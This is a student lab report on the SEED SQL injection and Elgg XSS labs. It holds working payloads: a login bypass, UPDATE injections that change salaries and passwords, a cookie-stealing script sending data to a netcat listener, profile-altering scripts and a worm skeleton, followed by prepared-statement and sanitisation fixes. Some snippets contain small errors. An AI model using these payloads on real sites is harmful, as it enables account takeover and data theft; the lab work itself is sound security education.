Web应用程序安全攻防
0. 总体结构
本次作业属于哪个课程 | 网络攻防实践 |
---|---|
这个作业要求在哪里 | Web应用程序安全攻防 |
我在这个课程的目标是 | 学习网络攻防相关技术和原理 |
这个作业在哪个具体方面帮助我实现目标 | Web应用程序攻防知识,常用Web攻击方式 |
1. 实践内容
第十一章的主要内容是Web应用程序的安全攻防,从了解Web应用程序的体系框架开始,到学习Web应用的信息收集,并介绍了几种常用的Web攻击,最后主要从SQL注入攻击和XSS跨站脚本攻击两个方面进行介绍和实践。所以本文主要从如下几个部分进行介绍。
- Web应用程序体系结构及其安全威胁
- Web应用安全攻防技术概述
- SQL注入攻击
- XSS跨站脚本攻击
1.1 Web应用程序体系结构及其安全威胁
-
Web应用体系结构
-
定义:Web应用程序是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,也造就了B/S计算结构,提升了部署和应用的便捷性。web应用体系结构如下图所示,浏览器主要完成数据显示与展示渲染,服务器主要完成业务计算处理,浏览器与服务器之间的通信通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信。当然这只是一个简单的体系架构,其他架构参考大型Web系统架构详解。
-
浏览器:使用HTTP/HTTPS协议、HTML语言与Web服务器进行交互,获取信息。
-
Web服务器:不仅仅是一个HTTP守护程序,还有对各种Web动态编程语言的支持。
-
数据库:Web应用存储数据的地方。
-
Web应用程序:负责服务器端的业务逻辑处理,最为常见的三层体系结构:
- 表示层:接受Web客户端的输入并显示结果。
- 业务逻辑层:从表示层接受输入并完成某些工作,需要数据层的协作,再将结果送回表示层。
- 数据层:以数据库或本地文件的形式,提供非易失的信息存储。
-
传输协议HTTP/HTTPS:浏览器与Web站点之间的通信传输协议使用HTTP/HTTPS协议,HTTP协议默认使用TCP 80端口,该协议采用统一资源标识符URI对各种资源进行统一定义,采用请求/相应模式。SSL/TLS隧道技术,来实现加密传输的HTTPS协议。
-
-
Web应用安全威胁
-
针对浏览器和终端用户的Web浏览安全威胁:网页木马、网站钓鱼等。
-
针对传输层的网络协议安全威胁:针对HTTP明文传输协议的敏感信息监听、拒绝服务攻击等。
-
系统层安全威胁:Web站点的宿主操作系统。
-
Web服务器软件安全威胁:Web服务器软件也存在着漏洞与弱点。
-
Web数据安全威胁:Web站点中在Web应用程序后台存储的关键数据内容。
-
1.2 Web应用安全攻防技术概述
- Web应用攻击路线主要包括Web应用信息收集、攻击Web服务器软件、攻击Web应用程序、攻击Web数据内容、本地攻击。
- Web应用信息收集
- 定义:主要手机内容包括服务器域名、IP地址和虚拟IP地址、Web服务器端口与其他开放服务、Web站点类型和版本、Web应用程序类型及版本、Web服务器及其存在的安全漏洞信息。
- 手工审查Web应用程序结构与源代码
- 查看静态和动态生成的页面,主要查看源代码、 隐藏信息和动态页面中的页面命名规则等。
- 查看Web服务器的存储目录结构。
- 查看辅助性文件,包括CSS级联样式表、XML样式表、数据库字段结构、目录路径、输入参数以及数据库连接字符串。
- 输入表单,表单是Web应用程序接受用户输入的主要途径,通过手工审查页面源代码可以发现一些关键表单的位置。
- 查询参数字符串,复用以假冒其他用户、获取受限的数据、运行任意的系统命令等,提供了Web应用程序内部工作的信息。
- 自动下载与镜像Web站点页面:自动化上面的手工审查过程。
- Google Hacking技术审查与探测Web应用程序:Google利用Googlebot和Google Search Engine已经帮我们下载并分析了几乎所有公开页面,Google的高级搜索与挖掘技巧可以在在大范围内搜索存有漏洞的Web应用程序。
- Web应用程序安全评估与漏洞审查
- 针对Web应用程序的攻击主要集中在身份验证、会话管理、数据库操作、输入数据合法/合理性检查。
- 安全辅助分析工具主要包括浏览器插件、免费工具集、商业Web应用安全评估系统和漏洞扫描器。
- 攻击Web服务器软件
- 流行的Web服务器软件主要分为两类:
- MS:Win200x Server/IIS/MS SQL/ ASP/ASP.NET
- LAMP: Linux/Apache/MySQL/PHP
- Web服务器平台中的安全漏洞
- 数据驱动的远程代码执行安全漏洞:Web服务器软件作为网络服务守护进程,也会出现缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程攻击渗透攻击。
- 服务器功能扩展模块漏洞:IIS软件、WebDAV模块、Apache扩展组件模块都存在漏洞。
- 样本文件安全漏洞:Web应用服务器包含的样板脚本和代码示例存在漏洞。
- 源代码泄露:能够查看到没有防护措施Web服务器上的应用程序源码。
- 资源解析攻击:把同一资源的不同表示形式解析为它的标准化名称 的过程。
- 流行的Web服务器软件主要分为两类:
- 攻击Web应用程序
- Web应用程序的不安全性
- Web应用程序编码质量和测试均有限: 安全最薄弱环节。
- Web应用的复杂性和灵活性进一步恶化了其安全性。
- Web应用程序安全威胁类型
- 针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段。
- 授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段。
- 客户端攻击:扰乱或渗透攻击web站点客户端用户的攻击手段。
- 命令执行攻击:在web站点执行远程命令的攻击手段。
- 信息暴露:获取web站点具体系统信息的攻击手段。
- 逻辑攻击:扰乱或渗透攻击web应用逻辑流程的攻击手段。
- Web应用程序的不安全性
- 攻击Web数据内容
- 安全敏感数据泄露
- web服务器存在目录遍历漏洞或不安全的目录文件枚举配置。
- 利用web服务器的上传目录临时中转文件。
- 在web站点公开的文档资料中包含个人隐私、企业秘密。
- 网站篡改:利用特定攻击手段入侵网站后,将网站页面内容进行替换,表达入侵成功或某种观点诉求。
- 不良信息内容上传:网站被攻陷后可能成为不良信息的存储和中转仓库。
- 安全敏感数据泄露
- Web应用安全防范措施
- Web站点网络传输安全设防措施:使用HTTPS、SFTP等安全协议等。
- Web站点操作系统及服务安全设防措施:定期进行操作系统及服务的补丁更新、漏洞扫描等。
- Web应用程序安全设防措施:在设计时就应该谨慎考虑,并且要多设置日志信息。
- Web站点数据安全设防措施:提高个人的安全意识,提高系统的数据保护能力。
1.3 SQL注入攻击
- 代码注入攻击定义:代码注入利用Web应用程序的输入验证不完善漏洞,使得Web应用程序执行由攻击者所注入的恶意指令和代码。包括恶意读取、修改与操纵数据库的SQL注入攻击;在Web服务器端安装、执行Webshaell等恶意脚本的PHP注入或ASP注入攻击;在Web服务器端恶意执行操作系统命令的shell注入攻击还有其他攻击等。
- SQL注入攻击原理:利用Web应用程序的数据层存在的输入验证不完善性安全漏洞实施的代码注入攻击技术。由于用户输入没有被正确地过滤以消除SQL语言中的转义字符,或没有进行严格的类型判断,使得用户可以输入并执行一些非预期的SQL指令代码。
- SQL注入攻击例子:最常见的SQL注入攻击在用户登录这一功能上,下面也是用这个作为例子,方便更好的理解。
- 用户登录SQL语句形如:
SELECT * FROM user WHERE name = ' " + userName + " ' and password= ' "+ password +" '
。 - 常见的利用SQL注入攻破用户登录,关键在于在参数
name
或是password
中插入特殊符号,以篡改程序SQL的条件判断。 - 譬如我们这样输入:
- 用户名:
'1' OR '1'='1
- 密码:
'1'
- 用户名:
- 那么程序接收到参数后,SQL语句就变成了:
SELECT * FROM user WHERE name = '1' OR '1'='1' and password= '1'
。恒为真,即可骗过程序,在没有账号密码的情况下成功登录。
- 用户登录SQL语句形如:
- SQL注入攻击步骤
- 发现SQL注入点:存在
http://SITE/xxx.asp?some_rec=yyy
的动态网页时,当some_rec
字段为整形参数,通过不同的三种字符串可判断该动态页面是否存在SQL注入点。同理也可以对字符型做,下面展示整型情况。yyy
修改为yyy'
造成SQL出错,动态页面返回错误提示信息。yyy
修改为yyy and 1=1
不对查询条件造成任何影响,返回正常页面。yyy
修改为yyy and 1=2
查询不到任何信息。
- 判断后台数据库类型
- 利用数据库服务器的系统变量。
- 利用数据库服务器的系统表进行判断。
- 利用SQL注入进行后台口令拆解
- 猜解后台口令表表名。
- 猜解字段名。
- 猜解字段值: 二分法逼近。
- 口令可能为MD5散列后的密文。
- 上传ASP后门,得到默认账户权限:在破解得到Web应用管理员用户名和口令后,通过找出后台管理界面登录,攻击者就可以通过后台管理界面通常所提供的的下载上传文件等功能上传ASP后门,对Web站点进行远程控制。
- 本地特权提升
- 利用数据库扩展存储过程执行shell命令:通过SQL注入点执行相应的扩展存储过程。
- 发现SQL注入点:存在
- SQL注入攻击工具:这是比较新的工具10个SQL注入工具。
- 自动化SQL注入漏洞发现
- Wposion:能够在动态Web文档中找出SQL注入漏洞的工具。
- mieliekoek.pl:以网站镜像工具生成的输出为输入,找出含有表单页面。
- 自动化SQL注入测试
- SPIKE Proxy工具:允许使用者对待注入字符串进行定制。
- SPI Toolkit工具包中的“SQL Injector”工具。
- 自动化SQL注入漏洞发现
- SQL注入攻击防范措施
- 使用类型安全(type-safe)的参数编码机制。
- 凡是来自外部的用户输入,必须进行完备检查。
- 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象。
- 加强SQL数据库服务器的配置与连接。
1.4 XSS跨站脚本攻击
-
定义:XSS跨站脚本攻击的最终目标不是提供服务的Web应用程序而是使用Web应用程序的用户。XSS的漏洞存在于Web应用程序中,使得攻击者可以在Web页面中插入恶意代码(HTML或JavaScript)用户在浏览网页时,浏览器会解析这些插入的代码,造成获取用户敏感信息、客户端渗透攻击等后果。
-
XSS攻击技术原理:Web应用程序对用户输入内容的安全验证与过滤不够完善,用户提交的内容可以包括HTML、JAVAScript及其他脚本代码。例如在name变量填写为
alert(/xss/)
,这段客户端代码将会被包含在留言浏览页面中,其他用户访问时将会执行代码。 -
持久性XSS漏洞
- 漏洞形式: Web应用程序允许用户输入内容并持久保存并显示在网页上。
- 攻击方式: 攻击者通过利用跨站漏洞构建恶意脚本,对大量用户构成危害。
- 典型案例: 留言本/论坛/博客/wiki等。
-
非持久性XSS(例子讲解)
-
攻击者构造一个包含恶意脚本的bank.com登录请求连接,通过email等方式将该攻击发送给其他用户。
-
用户点击登录连接后会将恶意连接中包含的恶意脚本当做用户名参数提交给bank.com登陆处理页面。
-
网站将会在反馈的欢迎页面中包含恶意客户端脚本。
-
攻击者的恶意客户端在受害者浏览器中执行,会驱动浏览器发送会话令牌。
-
攻击者获得用户会话令牌后,可以劫持用户会话,伪造用户登录进一步实施攻击。
-
-
XSS攻击防范措施
- 服务器端防范措施:“限制、拒绝、净化”
- 输入验证: 对用户提交数据进行尽可能严格的验证与过滤。
- 输出净化: HTMLEncode()方法。
- 消除危险的输入点。
- 客户端防范措施
- 提高浏览器访问非受信网站时的安全等级。
- 关闭Cookie功能,或设置Cookie只读。
- 建立安全意识和浏览习惯。
- 服务器端防范措施:“限制、拒绝、净化”
2. 实践过程
说明:SQL注入实验和XSS实验由于本人的SEED Ubuntu均升级到了16.04,原来的实验指导书存在严重的问题,所以下面的实验是根据官方最新的16.04的实验指导书来进行的,诸多问题与之前有所不同,同时这两个实验指导书我附在GitHub上,下面的实验均按照最新的实验指导书的任务进行。
2.1 SEED SQL注入攻击与防御实验
任务:我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。 该Web应用程序是一个简单的员工管理应用程序。 员工可以通过此Web应用程序查看和更新数据库中的个人信息。 此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。 员工是一般角色,可以查看或更新自己的个人资料信息。 完成以下任务
- 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。 该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。 在此任务中,您需要使用数据库来熟悉SQL查询。
- 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
- 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
- SQL对抗,修复上述SQL注入攻击漏洞。
2.1.1 实验环境
- SEED Ubuntu 16.04
- Web应用网站:http://www.SEEDLabSQLInjection.com 及其本地文件夹路径
/var/www/SQLInjection/
。这部分可以在Firefox的收藏夹以及hosts中查看到。 - 托管网站的Apache2服务器,请先使用指令
sudo service apache2 start
启动Apache服务。
2.1.2 熟悉SQL语句
-
这部分的内容比较简单,以前学习数据库都学学习过。简单说明,如果没学过数据库的建议复习MySQL 教程。首先使用指令
mysql -u root -pseedubuntu
登陆MySql数据库,-u
指定用户名,-p
指定密码。 -
如果我们要使用哪个数据库,可以使用指令
use Users;
,show tables;
查看该数据库下面的表。 -
下面我们使用指令
select * from credential;
来打印所有员工的信息,在这里可以看到员工的姓名、工资以及hash之后的密码等信息。
2.1.3 对SELECT语句的SQL注入攻击
-
审查:这是必须的一步,我们应该查看当前的Web界面源代码中有哪些东西。在这里我们看到前端提交表单数据到unsafe_home.php进行校验。那么我们开始查找这个unsafe_home.php文件,如第二张图所示,上面的SQL语句从凭据表中选择个人员工信息,例如ID,姓名,薪水,SSN等。 SQL语句使用两个变量输入uname和散列的pwd,其中输入uname保留用户在登录页面的用户名字段中键入的字符串,而散列的pwd保留用户键入的密码的sha1哈希。 程序检查是否有任何记录与提供的用户名和密码匹配;如果存在匹配项,则表明用户已成功通过身份验证,并获得了相应的员工信息。 如果不匹配,则认证失败。
-
现在我们知道管理员的账户名是
admin
,在不知道密码的情况下实行SQL注入攻击进入Web应用。通过上面的观察,我们发现,我们只需要在用户名输入特定的语句,导致不进行password的校验就可以跳过验证。所以我们使用字符串admin '#
进行登录即可,#
后面的语句被注释,无法执行。所以只进行了用户名的校验。我们发现确实登录成功。并且在登录界面能够看到所有用户的数据,和之前查表的结果一致,证明我们的攻击有效。 -
接下来的任务是利用命令行完成管理员的登录。在这里要注意的问题就是几个特殊符号要进行转义,就是找到几个特殊符号的十六进制,譬如
#
用%23
表示,这里由于在命令行,所以我们需要用到cURL,这是一个利用URL语法在命令行下工作的文件传输工具。使用指令curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23'
就可以成功登录系统。通过返回的HTML代码,我们可以看到信息和我们上面看到的信息相同,证明我们的攻击时成功的。 -
最后的任务是追加新的SQL语句达到修改数据库的效果。按照上面的想法我们只要追加一个
delete
或者update
语句就好了,我们通过追加指令'1=1;delete from the credential where name 'Alice';#
发现并不成功。这是因为MySql中的对策阻止了从php调用多个语句的执行,因此攻击未成功。
2.1.4 对UPDATE语句的SQL注入攻击
-
首先我们也应当找到UPDATE语句。这部分的内容在unsafe_edit_backend.php中。这个UPDATE语句可以看到员工只能修改基本的信息,无权修改工资,这条UPDATE语句也没有进行任何的保护如权限等,所以我们估计是可以被注入攻击的。
-
首先我们的任务是修改Alice的工资。首先用类似前面管理员登录的方式登录Alice的账号,进去之后可以看到Alice的相关信息,记住EID要用的。然后进行edit profile修改信息。在NickName那里输入语句
', salary='500000' where EID='10000';#
,这样#
后面的就会被注释,所以就直接执行set salary='500000' where EID = '10000'
这个指令,所以直接修改了工资。这个时候回去看自己的profile应该能看到是已经修改成功的,证明我们的攻击成功。 -
下面的任务是修改其他人的工资。那么我们只要在Alice修改的界面的nickname输入
', salary='1' where name='Boby';#
,再进入Boby的界面,我们发现工资已经成功修改。这个原理和上面相同。 -
最后一个任务是修改其他用户的密码。我们知道密码在数据库中是以sha1的形式存储的,那么就简单了,那么首先我们需要获取一个指定密码的sha1值。使用指令
echo -n '123456'|sha1sum
输出密码123456
的sha1值为7c4a8d09ca3762af61e59520943dc26494f8941b
。 -
接下来继续以Alice的账户登录,继续在edit profile那里修改用户名,填上以下指令进行sha1值的修改
', Password='7c4a8d09ca3762af61e59520943dc26494f8941b' where Name='Boby';#
。这个时候我们正常登陆Boby的账户,发现通过我们修改的123456
密码已经能够完成正常的登录。此时我们成功的完成了攻击。
2.1.5 SQL对抗,修复上述SQL注入攻击漏洞
-
SQL注入漏洞的本质原因是由于执行语句和数据放在一起导致的,使用预处理语句机制可以很好的防止这一攻击出现。那么预处理语句是什么呢,参考SQL预处理语句(Prepared Statements),可以简单的理解为编译过的要执行的SQL语句模板,可以使用不同的变量参数定制它。下图是一个SQL语句的执行过程,你可以更好的了解预处理语句的作用。
-
在了解了预处理语句的写法之后,下面就是将原来的代码改成带预处理语句的代码了。原来的代码数据库查询代码如下,在unsafe_home.php中。这部分的主要含义就是进行了数据库的查询,然后转为了json格式,这里的SELECT语句代码和数据放在一起,所以容易遭受攻击。下面我们进行代码的修改。
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd'"; if (!$result = $conn->query($sql)) { echo "</div>"; echo "</nav>"; echo "<div class='container text-center'>"; die('There was an error running the query [' . $conn->error . '] '); echo "</div>"; } /* convert the select return result into array type */ $return_arr = array(); while($row = $result->fetch_assoc()){ array_push($return_arr,$row); } /* convert the array type to json format and read out*/ $json_str = json_encode($return_arr); $json_a = json_decode($json_str,true); $id = $json_a[0]['id']; $name = $json_a[0]['name']; $eid = $json_a[0]['eid']; $salary = $json_a[0]['salary']; $birth = $json_a[0]['birth']; $ssn = $json_a[0]['ssn']; $phoneNumber = $json_a[0]['phoneNumber']; $address = $json_a[0]['address']; $email = $json_a[0]['email']; $pwd = $json_a[0]['Password']; $nickname = $json_a[0]['nickname'];
-
修改后的代码如下面所示,使用了预处理代码,然后进行了参数的绑定,绑定了用户名和hash之后的密码。又进行了结果的绑定,这个时候参数值就可以包含转义字符和定界符了。这个时候我们继续用之前的方式进行登录,发现已经提示账号不存在,同理,所以现在已经能够防止对
SELECT
语句的SQL注入攻击。为了验证正确性,你可以使用Boby的账户和密码进行登录,发现确实可以登录。那么下面我们需要继续对UPDATE
语句进行预处理。$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?"); $sql->bind_param("ss", $input_uname, $hashed_pwd); $sql->execute(); $sql->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber, $address, $email, $nickname, $pwd); $sql->fetch(); $sql->close();
-
UPDATE语句代码在unsafe_edit_backend.php中,我们修改为如下的代码,对输入的参数进行了绑定,这个时候,我们继续看看能不能通过edit profile修改工资,修改信息了。我们输入相同的代码发现,刚才的语句被作为NickName显示出来了,很显然,这是一个错误的修改。所以我们的UPDATE语句的对抗SQL注入也完成了。至此,实践一完成。记得恢复环境。
if($input_pwd!=''){ // In case password field is not empty. $hashed_pwd = sha1($input_pwd); //Update the password stored in the session. $_SESSION['pwd']=$hashed_pwd; $sql = $conn->prepare("UPDATE credential SET nickname= ?,email= ?,address= ?,Password= ?,PhoneNumber= ? where ID=$id;"); $sql->bind_param("sssss",$input_nickname,$input_email,$input_address,$hashed_pwd,$input_phonenumber); $sql->execute(); $sql->close(); }else{ // if passowrd field is empty. $sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;"); $sql->bind_param("ssss",$input_nickname,$input_email,$input_address,$input_phonenumber); $sql->execute(); $sql->close(); }
2.2 SEED XSS跨站脚本攻击实验(Elgg)
任务:为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
- 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
- 弹窗显示cookie信息:将cookie信息显示。
- 窃取受害者的cookies:将cookie发送给攻击者。
- 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
- 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
- 编写XSS蠕虫。
- 对抗XSS攻击。
2.2.1 实验环境
- SEED Ubuntu 16.04
- Elgg社交Web应用程序,包含了一些用户名和密码(查实验指导书)。
- Web应用程序网站
http://www.xsslabelgg.com
,以及相关的文件夹/var/www/XSS/Elgg/
,网站只可在虚拟机内部访问使用,可以查看hosts文件。 - 托管网站的Apache2服务器,请先使用指令
sudo service apache2 start
启动Apache服务。 - 进入https://github.com/XXJG/WebSe_SQL_XSS下载echoserver解压并make编译,后面会用到。
- 使用HTTP Header Live检查HTTP头,在Firefox的扩展中安装这个插件,并且启用他。这个也是实验过程中需要用到的。
2.2.2 发布恶意消息,显示警报窗口
-
首先利用alice的账户
alice
和密码seedalice
登录Elgg,这里的主要做法是在Alice在Brief description域中添加JavaScript代码并保存,然后使用另一个用户Boby登录并查看alice的profile,则将会看到警告窗口。我们添加<script>alert('XSS');</script>
代码并保存。此时在alice的界面应该也能看到XSS弹窗出现,下面我们进入Boby用户。 -
进入Boby账户登录之后,我们查看Alice的profile,确实弹出了XSS弹窗。可见我们攻击成功。主要原因是因为没有对字段进行安全检查和过滤,便直接插入数据表。显示内容的时候,也是直接读取显示,没有经过输出净化。
2.2.3 弹窗显示cookie信息
-
这一任务和上面类似,主要是将插入的js代码改成
<script>alert('XSS');</script>
即可,然后用Boby查看Alice的profile,得到的弹窗如下。正确的显示了自己的cookie信息。
2.2.4 窃取受害者的cookies
-
我们可以通过使恶意的JavaScript插入一个
<img>
标签,其src属性设置为攻击者的机器来实现。当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。下面我们使用JavaScript将cookies发送到攻击者机器的5555端口,若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容。 -
在这里我们使用命令
<script>document.write('<img src=http://127.0.0.1:5555?c='+escape(document.cookie) + ' >');</script>
,所以这里使用的是本地作为攻击者的服务器。 -
然后我们使用nc进行监听5555端口,使用指令
nc -l 5555 -v
,-l
指定端口,-v
显示详细信息。这个时候我们使用boby的账户登录并且查看Alice的账户profile就能够得到boby的cookie信息。
2.2.5 成为受害者的朋友
-
首先我们应该通过HTTP Header Live查看加朋友的时候都干了什么?可以看到首先这是一个add friends 的action,然后紧接着就是
elgg_ts
和elgg_token
,这是Elgg本身自带的一套严格的表单验证方法,通过才可以进行加朋友。同样,我们可以看到朋友的id和cookie,通过这些东西我们构造了javascript脚本。 -
下面这段程序就是我们构造的javascript程序了,其中的sendurl中包含了加朋友所需要的东西,也就是我们上面分析的。所以,现在把这段程序放在alice的About me中(这里注意要是edit HTML模式),因为原来的brief限制长度。这段代码首先是获取
elgg_ts
和elgg_token
,然后构造一个URL访问,44是alice号。<script type="text/javascript"> window.onload = function () { var Ajax=null; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the HTTP request to add Samy as a friend. var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token; //Create and send Ajax request to add friend Ajax=new XMLHttpRequest(); Ajax.open("GET",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); Ajax.send(); } </script>
-
那么我们接下来用boby访问alice的主页,boby就会自动加alice为好友。在这里我们看到确实成功的加了好友。那么我们回答一下问题,如果about me没有edit HTML模式怎么办,其他地方又限制长度。那就可以在本地后见一个js文件,然后引用这个js文件就可以了,基本框架不变,比较简单,这里没有进行演示了。到此,加受害者为朋友实验完成。
2.2.6 修改受害者的信息
-
和上一个问题类似,我们首先要用HTTP Header Live看看修改资料时要做那些事情。同样的,我们可以看到用户在修改自己的profile时发送的http请求的具体格式。通过这个方式构造和上面相近的js程序。
-
下面这段程序就是构造的js程序了,主题部分在于构造那个content,其中的几个字段都是profile中的内容,需要修改什么直接修改就好。同时需要指定sendurl。这些内容都是从HTTP Header中得到的,然后ajax执行。
<script type="text/javascript"> window.onload = function(){ //JavaScript code to access user name, user guid, Time Stamp __elgg_ts //and Security Token __elgg_token var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit"; var samyGuid=44; if(elgg.session.user.guid!=samyGuid){ //Create and send Ajax request to modify profile var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script>
-
将上述代码同样放在Alice的about me中,然后用boby访问Alice的profile,即可成功修改boby的profile。如下图所示。注意程序中有一个判断语句,就是用户的
guid
和samyGuid
的判断,这个samyGuid
在这里就是alice的guid,所以就是为了防止自己的profile不被更改增加的这条语句。
2.2.7 编写XSS蠕虫
-
在这里有两种方法可以进行攻击的繁殖,这里有两种方式,一种是链接的方式,就是把脚本放在一个固定的地方,这里就不详细说了。主要说第二种方法,就是使用DOM API的方法,文档对象模型,参考什么是 DOM?。简而言之:它会将Web页面和脚本或程序语言连接起来。
-
首先我们开始编写代码,我们的目的就是这段代码能够复制到其他用户那里,那么我们的蠕虫目标就是完成了的,所以我们使用DOM来查看和使用HTML代码,
innerHTML
方法是开始和结束标签之间的HTML。。我们将下面的程序放在Alice的about me中。<script id="worm" type ="text/javascript"> var headerTag = "<script id="worm" type="text/javascript">"; var jsCode = document.getElementById("worm").innerHTML; var tailTag = "</" + "script>"; var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); alert(jsCode); </script>
-
我们通过boby访问Alice的profile发现这段代码已经被成功的复制,说明我们的目标达到,利用DOM API成功的进行了蠕虫的复制。
2.2.8 对抗XSS攻击
-
Elgg本身已经提供对抗XSS攻击的插件,我们利用管理员账户进行登录,找到
Account->administration->plugins
,并且找到插件HTMLawed
,这个插件的主要作用是对用户的输入输出进行校验并且去除特定标签。 -
下面我们查看Alice的profile,看看有没有效果了。可以看到,这个时候XSS攻击已经没有效果了,Alice中的代码被当作about me显示出来了。
-
还有一种方式是在代码中调用
htmlspecialchars()
方法,主要是对特殊字符进行编码,这个也能解决XSS攻击问题。至此XSS跨站脚本攻击实验完成。
3. 学习中遇到的问题及解决
- 问题一:只了解了基本的SQL语句,对预处理SQL语句还不熟悉。
- 问题一解决方案:找了一点资料,好在语句不难写。
- 问题二:对Web上的js、php都不算熟悉,只能是稍微看懂。
- 问题二解决方案:不太影响做题,但是多了解点总是好的。
- 问题三:写javascript程序有点难度。
- 问题三解决方案:参考答案和相关的博客慢慢解决的,还有启龙的帮助。
4. 学习感悟、思考
- 加受害者为朋友这个攻击应该在现实生活中比较常见,譬如我们的微博,经常胡乱的关注了一些不可说的垃圾信息,这只是一个猜想。
- 在编写XSS蠕虫脚本那里,本来想写多一点的,想自己写一个程序复制修改profile不断传播复制,其实很简单,但是自己的js技术是在有限,以后有时间学学再写吧。
- 本文的很多内容来自于SEED labs的资料,如果有什么不清楚的可以查阅其资料。